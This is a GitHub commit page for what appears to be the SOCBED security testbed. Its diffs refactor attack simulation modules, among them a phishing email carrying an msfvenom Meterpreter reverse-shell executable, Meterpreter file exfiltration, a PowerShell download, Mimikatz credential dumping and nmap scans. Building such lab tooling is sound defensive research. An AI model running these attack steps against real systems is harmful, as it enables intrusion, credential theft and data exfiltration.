Skip to content

Commit

Permalink
Merge pull request #68 from fkie-cad/dev
Browse files Browse the repository at this point in the history
Merge dev into main
  • Loading branch information
ru37z authored Dec 2, 2022
2 parents b313f4b + 95c1e55 commit f279dc5
Show file tree
Hide file tree
Showing 43 changed files with 614 additions and 81 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/clear-cache.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ jobs:
delete-cache:
runs-on: [self-hosted, linux]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3

- name: Delete cached iso files
run: rm -rf /usr/share/runner-dependencies/packer_cache/*
Expand Down
8 changes: 4 additions & 4 deletions .github/workflows/socbed-systemtest-dev.yml
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ jobs:
prepare-environment:
runs-on: [self-hosted, linux]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3
with:
ref: dev

Expand All @@ -29,7 +29,7 @@ jobs:
needs: [prepare-environment]
timeout-minutes: 480
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3
with:
ref: dev

Expand Down Expand Up @@ -96,7 +96,7 @@ jobs:
runs-on: [self-hosted, linux]
needs: [prepare-environment, build-machines]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3
with:
ref: dev

Expand All @@ -119,7 +119,7 @@ jobs:
if: always()
needs: [prepare-environment, build-machines, test-machines]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3
with:
ref: dev

Expand Down
8 changes: 4 additions & 4 deletions .github/workflows/socbed-systemtest.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ jobs:
prepare-environment:
runs-on: [self-hosted, linux]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3

- name: Create virtual environment
run: python3 -m venv /usr/share/runner-dependencies/socbed_env
Expand All @@ -31,7 +31,7 @@ jobs:
needs: [prepare-environment]
timeout-minutes: 480
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3

- name: Activate virtual environment
run: source /usr/share/runner-dependencies/socbed_env/bin/activate
Expand Down Expand Up @@ -96,7 +96,7 @@ jobs:
runs-on: [self-hosted, linux]
needs: [prepare-environment, build-machines]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3

- name: Activate virtual environment
run: source /usr/share/runner-dependencies/socbed_env/bin/activate
Expand All @@ -117,7 +117,7 @@ jobs:
if: always()
needs: [prepare-environment, build-machines, test-machines]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3

- name: Delete created VMs
run: ./tools/delete_vms
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/socbed-unittest.yml
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,6 @@ jobs:
tox-unit-test:
runs-on: [self-hosted, linux]
steps:
- uses: actions/checkout@v2
- uses: actions/checkout@v3
- run: tox -- -m "not systest"

1 change: 1 addition & 0 deletions provisioning/ansible/attacker_playbook.yml
Original file line number Diff line number Diff line change
Expand Up @@ -31,3 +31,4 @@
- generate_malware
- ssh_config
- dosfstools
- grc
2 changes: 2 additions & 0 deletions provisioning/ansible/roles/grc/defaults/main.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
---
grc_version: "1.13.1-1"
7 changes: 7 additions & 0 deletions provisioning/ansible/roles/grc/tasks/main.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---

- name: Install grc
apt:
name: grc={{ grc_version }}
state: present
update_cache: yes
2 changes: 1 addition & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
ansible==5.1.0
colorama==0.4.1
paramiko==2.10.1
paramiko==2.11.0
pytest==5.2.0
pyvmomi==6.7.1.2018.12
pywinrm==0.4.1
Expand Down
3 changes: 2 additions & 1 deletion src/attacks/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,8 @@
file.split(".py")[0] for file in os.listdir(module_dir)
if file.startswith("attack_") and file.endswith(".py")]

attack_modules = [import_module("." + str(attack_module_name), package=package) for attack_module_name in attack_module_names]
attack_modules = [import_module("." + str(attack_module_name), package=package)
for attack_module_name in attack_module_names]

attack_subclasses = set()
for attack_module in attack_modules:
Expand Down
1 change: 0 additions & 1 deletion src/attacks/attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,6 @@
import socket
from contextlib import contextmanager
from types import SimpleNamespace
from signal import SIGINT, default_int_handler, signal

import paramiko
from attacks.printer import Printer, ListPrinter, MultiPrinter
Expand Down
5 changes: 3 additions & 2 deletions src/attacks/attack_c2_exfiltration.py
Original file line number Diff line number Diff line change
Expand Up @@ -70,8 +70,9 @@ def _respond(self, line):
self.handler.shutdown()

def _collect_files(self):
path = self.options.path
pattern = self.options.pattern
self.ssh_client.write_lines(self.handler.stdin, [
"run file_collector -r -d {path} -f {pattern} -o /root/loot/files.txt".format(
path=self.options.path, pattern=self.options.pattern),
f"run file_collector -r -d {path} -f {pattern} -o /root/loot/files.txt",
"run file_collector -i /root/loot/files.txt -l /root/loot",
"background"])
6 changes: 3 additions & 3 deletions src/attacks/attack_change_wallpaper.py
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,6 @@ def _respond(self, line):
self.handler.shutdown()

def _collect_files(self):
self.ssh_client.write_lines(self.handler.stdin, [
"execute -H -f powershell -a {script}".format(script=self.change_wallpaper_ps_script),
"background"])
script = self.change_wallpaper_ps_script
self.ssh_client.write_lines(self.handler.stdin, [f"execute -H -f powershell -a {script}",
"background"])
7 changes: 4 additions & 3 deletions src/attacks/attack_download_malware.py
Original file line number Diff line number Diff line change
Expand Up @@ -46,8 +46,9 @@ def _set_target(self):
self.ssh_client.target.username = "ssh"

def _download_command(self):
url = self.options.url
file = self.options.file
return (
"cmd /C powershell -Command $c = new-object System.Net.WebClient; "
"$c.DownloadFile(\\\"{url}\\\", \\\"{file}\\\") && "
"echo File downloaded successfully.".format(
url=self.options.url, file=self.options.file))
f"$c.DownloadFile(\\\"{url}\\\", \\\"{file}\\\") && "
"echo File downloaded successfully.")
7 changes: 4 additions & 3 deletions src/attacks/attack_download_malware_meterpreter.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,7 @@ def _respond(self, line):
self.handler.shutdown()

def _collect_files(self):
self.ssh_client.write_lines(self.handler.stdin, [
"upload {rfile} {file}".format(rfile=self.remote_file, file=self.options.file),
"background"])
rfile = self.remote_file
file = self.options.file
self.ssh_client.write_lines(self.handler.stdin, [f"upload {rfile} {file}",
"background"])
14 changes: 9 additions & 5 deletions src/attacks/attack_email_exe.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,32 +47,36 @@ def run(self):
def _generate_exe_command(self):
lhost = self.options.lhost
lport = self.options.lport
meterpreter_script = f"msfvenom -p windows/x64/meterpreter/reverse_http LHOST={lhost} LPORT={lport} -a x64 StagerRetryCount=604800 -f exe-only -o /root/Bank-of-Nuthington.exe"
meterpreter_script = ("msfvenom -p windows/x64/meterpreter/reverse_http "
f"LHOST={lhost} LPORT={lport} -a x64 StagerRetryCount=604800 "
"-f exe-only -o /root/Bank-of-Nuthington.exe")
return meterpreter_script

def _sendemail_command(self, message):
address = self.options.addr
return " ".join([
"sendemail",
"-f attacker@localdomain",
"-t {addr}".format(addr=self.options.addr),
f"-t {address}",
"-s 172.18.0.2",
"-u 'Frozen User Account'",
"-m '{msg}'".format(msg=message),
f"-m '{message}'",
"-a '/root/Bank-of-Nuthington.exe'",
"-o tls=no",
"-o message-content-type=html",
"-o message-charset=UTF-8",
""])

def _email_body(self):
name = self.options.name
return (
"<p><img src=\"http://172.18.1.1/email_header.jpg\" width=\"1100\" height=\"300\"></p>"
"<p>Dear {name},</p>"
f"<p>Dear {name},</p>"
"<p>our Technical Support Team unfortunately had to freeze your bank account."
" Please download and execute the file provided in the attachment for further"
" information.</p>"
"<p>We apologize for the inconvenience caused, and we are really grateful for your"
" collaboration. This is an automated e-mail. Please do not respond.</p>"
"<p><img src=\"http://172.18.1.1/email_footer.jpg\" width=\"90\" height=\"90\"></p>"
"<p>&copy; 2017 bankofnuthington.co.uk. All Rights Reserved.</p>"
"".format(name=self.options.name))
"")
8 changes: 4 additions & 4 deletions src/attacks/attack_flashdrive_exe.py
Original file line number Diff line number Diff line change
Expand Up @@ -49,8 +49,8 @@ def _generate_exe_command(self):
lhost = self.options.lhost
lport = self.options.lport
meterpreter_script = (
f"msfvenom -p windows/x64/meterpreter/reverse_http LHOST={lhost} LPORT={lport} "
"-a x64 StagerRetryCount=604800 -f exe-only -o /root/Bank-of-Nuthington.exe")
f"msfvenom -p windows/x64/meterpreter/reverse_http LHOST={lhost} LPORT={lport} "
"-a x64 StagerRetryCount=604800 -f exe-only -o /root/Bank-of-Nuthington.exe")
return meterpreter_script

def _generate_image_commands(self):
Expand All @@ -69,6 +69,6 @@ def _upload_image_to_client_command(self):
image_path = self.image_path
rhost = self.options.rhost
upload_command = (
f"sshpass -p 'breach' scp {image_path} ssh@{rhost}:/BREACH/ "
"&& echo 'Image file successfully sent'")
f"sshpass -p 'breach' scp {image_path} ssh@{rhost}:/BREACH/ "
"&& echo 'Image file successfully sent'")
return upload_command
3 changes: 2 additions & 1 deletion src/attacks/attack_flashdrive_exfiltration.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,8 @@ def _set_target(self):
self.ssh_client.target.username = "ssh"

def _copy_files_to_flashdrive_commands(self):
directory = self.options.rdir
return [
"imdisk -a -s 64M -m L: -p \"/fs:ntfs /q /y\"",
"xcopy /E \"{dir}\" L:".format(dir=self.options.rdir),
f"xcopy /E \"{directory}\" L:",
"imdisk -D -m L:"]
2 changes: 1 addition & 1 deletion src/attacks/attack_hashdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,7 @@ def _handle_output(self):
self._respond(line)
self.print(line)
except UnicodeDecodeError as e:
self.print("UnicodeDecodeError: {}".format(e))
self.print(f"UnicodeDecodeError: {e}")
self.handler.shutdown()

def _respond(self, line):
Expand Down
3 changes: 1 addition & 2 deletions src/attacks/attack_mimikatz.py
Original file line number Diff line number Diff line change
Expand Up @@ -54,7 +54,7 @@ def _handle_output(self):
self._respond(line)
self.print(line)
except UnicodeDecodeError as e:
self.print("UnicodeDecodeError: {}".format(e))
self.print(f"UnicodeDecodeError: {e}")
self.handler.shutdown()

def _respond(self, line):
Expand All @@ -76,4 +76,3 @@ def _run_mimikatz(self):
"load kiwi",
"creds_all",
"background"])

22 changes: 22 additions & 0 deletions src/attacks/attack_nmap_host_discovery.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
from attacks import Attack, AttackInfo
from attacks.nmap_attack_options import NmapAttackOptions as AttackOptions
from attacks.nmap_attack_options import get_speed


class NmapHostDiscoveryAttackOptions(AttackOptions):
target: str = "Target range or IP"

def _set_defaults(self) -> None:
self.target = "192.168.56.1/23"


class NmapHostDiscoveryAttack(Attack):
info: AttackInfo = AttackInfo(
name="misc_nmap_host_discovery",
description="Scan the network for available hosts",
)
options_class = NmapHostDiscoveryAttackOptions

def run(self) -> None:
command: str = f"nmap -T{get_speed(self.options)} -n -sn {self.options.target}"
self.exec_command_on_target(command)
44 changes: 44 additions & 0 deletions src/attacks/attack_nmap_portscan.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
from attacks import Attack, AttackInfo
from attacks.nmap_attack_options import NmapAttackOptions as AttackOptions
from attacks.nmap_attack_options import get_speed


class NmapPortscanAttackOptions(AttackOptions):
target: str = "Target IP or range"
scan_type: str = "Scan Type"
ports: str = "Ports to scan, set to 'ics' to scan a list of ICS-specific ports"

def _set_defaults(self) -> None:
self.target = "192.168.56.101"
self.scan_type = "-sT -sU"
self.ports = "top10"


class NmapPortscanAttack(Attack):
info = AttackInfo(
name="misc_nmap_portscan",
description="Scan for open ports",
)
options_class = NmapPortscanAttackOptions
ics_ports: str = (
"U:47808,20000,34980,2222,44818,55000-55003,1089-1091,34962-34964,4000,161,"
+ "T:20000,44818,1089-1091,102,502,4840,80,443,34962-34964,4000,2404"
)

def run(self) -> None:
port = self._set_port()

command: str = (
f"sudo nmap -T{get_speed(self.options)} -n {self.options.scan_type} "
f"{self.options.target}{port}"
)
self.exec_command_on_target(command)

def _set_port(self) -> str:
if self.options.ports == "ics":
return f" -p {self.ics_ports}"

if self.options.ports.startswith("top"):
return f" --top-ports {self.options.ports.strip('top')}"

return f" -p {self.options.ports}"
Loading

0 comments on commit f279dc5

Please sign in to comment.